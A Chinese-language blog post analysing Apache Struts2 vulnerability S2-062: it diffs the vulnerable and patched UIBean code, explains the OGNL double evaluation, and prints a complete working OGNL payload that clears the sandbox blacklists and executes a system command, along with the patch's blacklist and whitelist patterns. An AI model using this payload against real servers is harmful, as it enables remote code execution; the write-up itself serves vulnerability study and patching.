struts2系列漏洞 S2-062

前言

经典 Java 软件漏洞 struts 系列,准备一个个看过去。


环境搭建

影响版本Struts 2.0.0 - Struts 2.5.29,这里使用Struts 2.5.29。

根据官方通告,问题出在其他标签的某些属性中,下载Struts 2.5.29和Struts 2.5.30的源码,diff一下两个版本的UIBean类:

可以看到Struts 2.5.29的这段代码:

1
2
3
4
5
6
String expr = completeExpressionIfAltSyntax(name);
if (recursion(name)) {
addParameter("nameValue", expr);
} else {
addParameter("nameValue", findValue(expr, valueClazz));
}

以name解析后的expr作参数调用findValue,这里很有可能存在一个双重评估,看一下completeExpressionIfAltSyntax函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
// Component.java
protected String completeExpressionIfAltSyntax(String expr) {
if (altSyntax() && !ComponentUtils.containsExpression(expr)) {
return "%{" + expr + "}";
}
return expr;
}


// ComponentUtils.java
public static boolean containsExpression(String expr) {
return expr != null && expr.contains("%{") && expr.contains("}");
}

如果name中没有%{}就加上去,再看一下recursion函数:

1
2
3
4
// Component.java
protected boolean recursion(String expr) {
return ComponentUtils.altSyntax(stack) && ComponentUtils.containsExpression(expr);
}

很明显containsExpression函数这里对双重评估做了一点点防护,然而虽然禁止了name中的%{},但是它自己又会给name加上%{}变成expr,所以这里的代码写了个空,我们还是可以通过这里的双重评估执行表达式。

修改模板文件,在name属性中添加一个表达式:

1
<s:label name="%{username}"/>

输入username为:

1
#{#application['org.apache.catalina.resources']}

可以看到发生了双重评估,输入的username作为表达式执行了:

漏洞利用

先版本禁止了通过DefaultInstanceManager创建对象,但是没有禁止通过BeanMap调用某个对象的setter和getter,所以我们只要找到新的创建对象的方法就可以继续绕过沙盒。

payload中使用的是这样的写法:

1
#@org.apache.commons.collections.BeanMap@{}

效果如下:

该版本的#attr没有了:

但是#request中还有OgnlValueStack:

把S2-061的payload改一改就能用了,清空黑名单之后可以获取application中的InstanceManager对象来创建Execute对象完成命令执行,最后的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
data1 = {
"username":
"(#beanmap=#@org.apache.commons.collections.BeanMap@{})."
"(#stack=#request['struts.valueStack'])."
"(#beanmap.setBean(#stack))."
"(#context=#beanmap.get(\"context\"))."
"(#beanmap.setBean(#context))."
"(#memberAccess=#beanmap.get(\"memberAccess\"))."
"(#beanmap.setBean(#memberAccess))."
"(#beanmap.put(\"excludedPackageNames\", #@org.apache.commons.collections.BeanMap@{}.keySet()))."
"(#beanmap.put(\"excludedClasses\", #@org.apache.commons.collections.BeanMap@{}.keySet()))."
"(#application['org.apache.tomcat.InstanceManager'].newInstance(\"freemarker.template.utility.Execute\").exec({\"calc.exe\"}))"
}

漏洞修复

在Struts 2.5.30中,漏洞代码改动如下:

1
2
3
4
5
6
7
8
boolean evaluated = !translatedName.equals(this.name);
boolean reevaluate = !evaluated || isAcceptableExpression(translatedName);
if (!reevaluate) {
addParameter(NAME_VALUE, translatedName);
} else {
String expr = completeExpressionIfAltSyntax(translatedName);
addParameter(NAME_VALUE, findValue(expr, valueClazz));
}

发生双重评估时translatedName与name不等,因此evaluated为true,所以reevaluate的取值取决于isAcceptableExpression函数,其代码如下:

1
2
3
4
5
6
7
8
9
10
11
protected boolean isAcceptableExpression(String expression) {
NotExcludedAcceptedPatternsChecker.IsAllowed isAllowed = notExcludedAcceptedPatterns.isAllowed(expression);
if (isAllowed.isAllowed()) {
return true;
}

LOG.warn("Expression [{}] isn't allowed by pattern [{}]! See Accepted / Excluded patterns at\n" +
"https://struts.apache.org/security/", expression, isAllowed.getAllowedPattern());

return false;
}

notExcludedAcceptedPatterns是一个DefaultNotExcludedAcceptedPatternsChecker对象,其包括一个黑名单对象DefaultExcludedPatternsChecker:

1
2
3
4
public static final String[] EXCLUDED_PATTERNS = {
"(^|\\%\\{)((#?)(top(\\.|\\['|\\[\")|\\[\\d\\]\\.)?)(dojo|struts|session|request|response|application|servlet(Request|Response|Context)|parameters|context|_memberAccess)(\\.|\\[).*",
".*(^|\\.|\\[|\\'|\"|get)class(\\(\\.|\\[|\\'|\").*"
};

通过黑名单之后是一个白名单对象,只有符合白名单的才会通过校验:

1
2
3
4
5
6
7
public static final String[] ACCEPTED_PATTERNS = {
"\\w+((\\.\\w+)|(\\[\\d+])|(\\(\\d+\\))|(\\['(\\w|[\\u4e00-\\u9fa5])+'])|(\\('(\\w|[\\u4e00-\\u9fa5])+'\\)))*"
};

public static final String[] DMI_AWARE_ACCEPTED_PATTERNS = {
"\\w+([:]?\\w+)?((\\.\\w+)|(\\[\\d+])|(\\(\\d+\\))|(\\['(\\w|[\\u4e00-\\u9fa5])+'])|(\\('(\\w|[\\u4e00-\\u9fa5])+'\\)))*([!]?\\w+)?"
};

看起来就很麻烦的正则。


参考

https://github.com/YanMu2020/s2-062/blob/main/s2-062.py


struts2系列漏洞 S2-062
http://yoursite.com/2022/04/17/struts2系列漏洞-S2-062/
作者
Aluvion
发布于
2022年4月17日
许可协议